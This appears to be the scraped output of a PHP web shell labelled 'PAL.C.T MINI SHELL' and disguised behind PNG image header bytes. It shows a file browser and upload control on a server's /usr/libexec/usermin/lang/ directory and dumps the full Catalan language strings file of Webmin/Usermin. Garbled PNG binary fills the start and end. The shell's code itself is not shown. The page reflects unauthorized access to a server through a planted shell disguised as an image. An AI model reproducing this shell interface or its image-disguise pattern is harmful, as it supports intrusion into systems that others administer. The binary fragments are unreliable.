php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/usermin/lang/
upload
files >> //usr/libexec/usermin/lang/ca

main_homepage=Pgina Arrel
main_feedback=Informes...
main_switch=Canvia l'Usuari...
main_logout=Surt
main_version=Versi $1 a $2 ($3)
main_title=Webmin $1 a $2 ($3)
main_title2=Webmin
main_title3=Webmin $1 ($2)
main_none=No tens accs a cap mdul Webmin.
main_skill=Nivell de Coneixements
main_readonly=(Mode noms lectura)
main_return=Torna $1
main_unused=Mduls No utilitzats
main_refreshmods=Refresca els Mduls

link_essl=El mdul Perl Net::SSLeay necessari per establir connexions HTTPS no es troba installat al sistema.

category_servers=Servidors
category_hardware=Maquinari
category_system=Sistema
category_webmin=Webmin
category_net=Xarxa
category_syslet=Syslets
category_cluster=Cluster
category_info=Informaci
category_=Altres

longcategory_servers=Mduls per configurar web, correu electrnic, FTP i altres servidors
longcategory_hardware=Mduls per impressores, discs i altres configuracions de maquinari
longcategory_system=Mduls per usuaris, sistemes de fitxers, treballs cron i altres valors del sistema
longcategory_webmin=Mduls per configurar el propi Webmin
longcategory_net=Mduls per configurar la xarxa i els serveis de xarxa
longcategory_cluster=Mduls que poden gestionar servidors mltiples des d'una sola interfcie
longcategory_info=Mduls que mostren informaci del sistema
longcategory_=Mduls que no estan en cap altra categoria

header_webmin=ndex de Webmin
header_module=ndex de Mduls
header_help=Ajuda...
header_config=Configuraci del Mdul
header_servers=Servidors Webmin

index=a l'ndex
yes=S
no=No
save=Desa
create=Crea
delete=Suprimeix
find=Busca
error=Error
error_previous=a la pgina anterior
error_stack=Crida Rastreig de Pila
error_file=Fitxer
error_line=Lnia
error_sub=Funci
error_stackline=Al fitxer $1 lnia $2 cridant $3
efilewrite=No he pogut escriure sobre $1: $2
efileclose=No he pogut escriure sobre $1 en tancar: $2
efileopen=No he pogut obrir $1 per escriure: $2
default=Defecte
modify=Modifica
reset=Reinicia
ok=B
cancel=Cancella
helpsearch=Busca Documents...
switch_remote_euser=L'usuari Unix $1 no existeix.
programname=Webmin
euserdbacl=No s'ha pogut obtenir l'ACL de l'usuari: $1
euserdbacl2=No s'ha pogut actualitzar l'ACL de l'usuari: $1
egroupdbacl=No s'ha pogut obtenir l'ACL del grup: $1
egroupdbacl2=No s'ha pogut actualitzar l'ACL del grup: $1

chooser_title1=Tria Fitxer...
chooser_title2=Tria Directori...
chooser_dir=Directori de $1
chooser_ok=B
chooser_date=Tria la Data
chooser_eopen=El llistat ha fallat: $1

users_title1=Selecciona els Usuaris...
users_title2=Selecciona l'Usuari...
users_sel=Usuaris seleccionats
users_all=Tots els Usuaris
users_ok=B
users_cancel=Cancella
users_clear=Neteja

groups_title1=Selecciona els Grups...
groups_title2=Selecciona el Grup...
groups_all=Tots els Grups
groups_sel=Grups Seleccionats
groups_ok=B
groups_cancel=Cancella
groups_clear=Neteja

modules_title1=Selecciona els Mduls...
modules_title2=Selecciona el Mdul...
modules_sel=Mduls seleccionats
modules_all=Tots els Mduls
modules_ok=B
modules_cancel=Cancella
modules_clear=Neteja

config_ecannot=No tens perms per configurar aquest mdul
config_title=Configuraci
config_dir=$1
config_header=$1: Opcions configurables
config_none=Cap
config_eaccess=No tens perms per accedir a aquest mdul
config_err=No he pogut desar la configuraci
config_nochange=No ho canvis
config_setto=Estableix a
config_ewebmin=Els parmetres de tipus 14 noms funcionen amb Webmin

help_err=No he pogut mostrar l'ajuda
help_epath=Hi falta el cam de l'ajuda o b no s vlid
help_efile=No he pogut llegir el fitxer d'ajuda $1
help_eheader=Hi falta la secci <header>
help_einclude=No he pogut incloure $1
help_eif=$1 ha fallat: $2
help_eexec=$1 ha fallat: $2

referer_title=Avs de Seguretat
referer_warn=<b>Atenci!</b> Webmin ha detectat que el programa $2 s un enlla a l'URL $1, que sembla ser que queda fora del servidor Webmin. Aix pot ser un intent d'enganyar el servidor per tal que executi una ordre perillosa.
referer_warn_unknown=<b>Atenci!</b> Webmin ha detectat que el programa $1 s un enlla a un URL desconegut, que sembla ser que queda fora del servidor Webmin. Aix pot ser un intent d'enganyar el servidor per tal que executi una ordre perillosa.
referer_ok=Continua executant el programa Webmin
referer_again=No tornis a mostrar aquest avs
referer_eurl=URL original invlid!
referer_eself=referer_save.cgi no es pot enllaar directament!

session_header=Entrada a Webmin
session_mesg=Per entrar al servidor Webmin de $1, has d'introduir un nom d'usuari i una contrasenya.
session_mesg2=Per entrar, has d'introduir un nom d'usuari i una contrasenya.
session_user=Usuari
session_pass=Contrasenya
session_twofactor=Testimoni de dos factors
session_login=Entra
session_clear=Neteja
session_failed=L'entrada ha fallat. Prova-ho un altre cop, si et plau.
session_twofailed=L'autenticaci de dos factors ha fallat: $1
session_logout=Has sortit amb xit. Utilitza el formulari de sota per tornar a entrar.
session_timed_out=La sessi s'ha cancellat desprs de $1 minuts d'inactivitat.
session_save=Recorda la contrasenya

pam_header=Entrada a Webmin
pam_mesg=Has de respondre la pregunta segent per entrar al servidor Webmin de $1.
pam_mesg2=Has de respondre la pregunta segent per entrar.
pam_login=Continua
pam_restart=Reinicia

acl_root=Directori arrel del selector de fitxers
acl_otherdirs=Altres directoris visibles en el triador de fitxers
acl_nodot=Amaga els fitxers punt en el triador de fitxers
acl_home=Directori arrel de l'usuari
acl_uedit=Usuaris visibles en el selector d'usuaris
acl_uedit_all=Tots els usuaris
acl_uedit_none=Cap usuari
acl_uedit_only=Noms els usuaris
acl_uedit_except=Tots excepte els usuaris
acl_uedit_uid=Usuaris amb UID en el rang
acl_uedit_group=Usuaris amb grup
acl_gedit=Grups visibles en el selector de grups
acl_gedit_all=Tots els grups
acl_gedit_none=Cap grup
acl_gedit_only=Noms els grups
acl_gedit_except=Tots excepte els grups
acl_gedit_gid=Grups amb GIDs en el rang
acl_feedback=Pot enviar correus d'informe
acl_feedback2=S
acl_feedback1=S, per no amb fitxers de configuraci
acl_feedback0=No
acl_feedback3=S, amb fitxers de configuraci
acl_rpc=Pot acceptar crides RPC
acl_rpc2=Noms per a <tt>root</tt> o <tt>admin</tt>
acl_rpc1=S
acl_rpc0=No
acl_readonly2=L'usuari est en mode demo?
acl_readonlyyes=S (Alguns mduls poden no estar disponibles)
acl_negative=Concedeix permisos del nou mdul a l'usuari
acl_fileunix=Fulleja els fitxers com a Usuari Unix
acl_sameunix=El mateix que l'usuari Webmin
acl_webminsearch=Mostra el camp de cerca de Webmin

month_1=Gener
month_2=Febrer
month_3=Mar
month_4=Abril
month_5=Maig
month_6=Juny
month_7=Juliol
month_8=Agost
month_9=Setembre
month_10=Octubre
month_11=Novembre
month_12=Desembre

day_0=Diumenge
day_1=Dilluns
day_2=Dimarts
day_3=Dimecres
day_4=Dijous
day_5=Divendres
day_6=Dissabte

smonth_1=Gen
smonth_2=Feb
smonth_3=Mar
smonth_4=Abr
smonth_5=Mai
smonth_6=Jun
smonth_7=Jul
smonth_8=Ago
smonth_9=Set
smonth_10=Oct
smonth_11=Nov
smonth_12=Des

sday_0=Dmg
sday_1=Dll
sday_2=Dmt
sday_3=Dmc
sday_4=Djs
sday_5=Dvs
sday_6=Dss

emodule=Accs denegat : L'usuari $1 no t perms per utilitzar el mdul $2
emodulecheck=El mdul $1 no est disponible en aquest sistema
elock_tries2=No he pogut bloquejar el fitxer $1 desprs de $2 minuts. Darrer error: $3

skill_high=Expert
skill_medium=Mitj
skill_low=Passerell

feedback_title=Informe de Webmin
feedback_desc=Aquest formulari et permet informar de defectes o fer suggeriments als desenvolupadors de Webmin sobre qualsevol problema o mancana de funcionalitats que hagis trobat. Quan facis clic sobre el bot Envia, s'enviaran a $1 els detalls introduts al formulari.
feedback_desc2=Aquestes opinions s'enviaran al desenvolupador de Webmin, no al teu administrador del sistema, ISP ni empresa d'hostalatge. Escriu les teves opinions en angls, si et plau, encara que estiguis executant Webmin en un altre idioma.
feedback_header=Detalls
feedback_name=El teu nom
feedback_email=La teva adrea electrnica
feedback_module=Mdul implicat
feedback_all=Tots els mduls
feedback_text=Descripci del problema o suggerncia
feedback_os=Inclou els detalls del sistema operatiu en el correu electrnic
feedback_osdesc=Si selecciones aquesta opci, el correu inclour el nom i la versi del teu sistema operatiu.
feedback_config=Inclou la configuraci del mdul en el correu electrnic
feedback_configdesc=Si selecciones aquesta opci, el correu inclour la configuraci del mdul relacionat i el contingut de qualsevol fitxer de configuraci utilitzat pel mateix. Per exemple, si l'informe t a veure amb el mdul d'<i>Usuaris i Grups</i>, s'enviaran els fitxers <tt>/etc/passwd</tt> i <tt>/etc/shadow</tt>.
feedback_attach=Fitxers addicionals a adjuntar
feedback_send=Envia
feedback_mailserver=Envia a travs d'un servidor SMTP
feedback_mailserver_def=Programa sendmail local
feedback_err=No he pogut enviar l'informe
feedback_emodule=Has triat d'incloure la configuraci del mdul en el correu, per no has seleccionat cap mdul
feedback_emodule2=El mdul seleccionat no existeix
feedback_econfig=No tens un accs complet al mdul seleccionat.
feedback_via=He enviat l'informe a $1 a travs del servidor SMTP $2.
feedback_prog=He enviat l'informe a $1 utilitzant el programa $2 de sendmail.
feedback_esend=No he pogut enviar l'informe a travs del programa sendmail ni del servidor SMTP local.
feedback_to=Envia l'informe a les adreces
feedback_enoto=No has introdut cap adrea per enviar l'informe
feedback_ecannot=No tens perms per enviar informes
feedback_ecannot2=No tens perms per enviar informes que contenen fitxers de configuraci

progress_size=Descarregant $1 ($2)...
progress_nosize=Descarregant $1...
progress_data=S'han rebut $1 ($2 %)
progress_data2=S'han rebut $1
progress_done=...descrrega completa.
progress_incache=N'he trobat $1 al cau...

readparse_cdheader=Hi falta la capalera Content-Disposition
readparse_enc=Esperava la codificaci de dades de formulari, per he rebut la codificaci normal
readparse_max=Les dades excedeixen la mida mxima de $1 bytes

password_expired=La teva contrasenya ha caducat i n'has de triar una de nova.
password_temp=Has de seleccionar una nova contrasenya  per substituir la teva entrada temporal.
password_header=Selecciona la Nova Contrasenya
password_user=Usuari
password_old=Contrasenya actual
password_new1=Contrasenya nova
password_new2=Altre cop la contrasenya nova
password_ok=Canvia
password_clear=Neteja
password_done=La teva contrasenya s'ha canviat correctament. Ara pots <a href='$1'>tornar a entrar</a> amb la contrasenya nova.
password_err=No he pogut canviar la contrasenya
password_euser=No s'ha trobat el teu nom d'usuari al fitxer de contrasenyes!
password_eold=La contrasenya actual s incorrecta
password_enew1=No has introdut la contrasenya nova
password_enew2=Les contrasenyes noves no coincideixen
password_epam=Error PAM: $1
password_emodpam=El mdul Perl Authen::PAM necessari per al canvi de contrasenya no est installat!
password_enewpass=No es permet la nova contrasenya: $1

ui_mandatory=Aquest camp s obligatori
ui_checkmandatory=No has seleccionat res
ui_errors=S'han trobat mltiples errors:
ui_nothing=No has introdut res
ui_searchcol=Busca columnes tals que
ui_searchfor=Continguin el text
ui_searchok=Busca
ui_selall=Selecciona-ho tot
ui_selinv=Inverteix la selecci
ui_edate=Data invlida
ui_etime=Hora invlida
ui_paging=Mostrant les files $1 a $2 de $3
ui_rowlabel=$2 a la fila $1:
ui_filterbox=Tipus a filtrar...

header_statusmsg=$1 ha entrat a $2 $3 el $4 ($5)

uptracker_title=Puja de Fitxer
uptracker_file=Nom del fitxer
uptracker_size=Mida
uptracker_pc=Progrs
uptracker_eid=No has especificat cap ID de pujada
uptracker_eid2=L'ID de pujada s invlid!
uptracker_of=$1 de $2

wsearch_title=Cerca $1
wsearch_modt=Mdul
wsearch_mtitle=Nom del mdul
wsearch_what=Pgina coincident
wsearch_type=Tipus de coincidncia
wsearch_mod=Mdul $1
wsearch_config_webmin=Configuraci de mdul Webmin
wsearch_config_usermin=Preferncies d'Usermin
wsearch_help=Pgina d'ajuda
wsearch_inmod=A $1
wsearch_text=Text d'interfcie d'usuari
wsearch_esearch=No has introdut res per buscar.
wsearch_enone=No s'ha trobat cap mdul ni pgina de Webmin que coincideixi amb  $1.
wsearch_on=(A $1)
wsearch_helpfor=Ajuda de <i>$1</i>
wsearch_htext=Text de coincidncia
wsearch_htype=Origen
wsearch_hcgis=Referncies
wsearch_type_mod=Nom del mdul
wsearch_type_config=Configuraci
wsearch_type_help=Pgina d'ajuda
wsearch_type_text=Interfcie d'usuari
wsearch_type_dir=URL del mdul
wsearch_hmod=Mdul
wsearch_moddir=/$1/ del cam de l'URL
wsearch_searching=Buscant $1...
wsearch_found=he trobat $1 resultats:

sql_emysqldriver=No s'ha pogut carregar el driver DBI de MySQL
sql_emysqlconnect=No s'ha pogut connectar amb la base de dades MySQL: $1
sql_epostgresqldriver=No s'ha pogut carregar el driver DBI de PostgreSQL
sql_epostgresqlconnect=No s'ha pogut connectar amb la base de dades PostgreSQL: $1
sql_eldapdriver=No s'ha pogut carregar el mdul perl de LDAP
sql_eldapconnect=No s'ha pogut connectar amb el servidor LDAP $1
sql_eldaptls=No s'ha pogut iniciar el xifratge TLS per a LDAP: $1
sql_eldaplogin=No s'ha pogut entrar al servidor LDAP com a $1: $2

__norefs=1
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`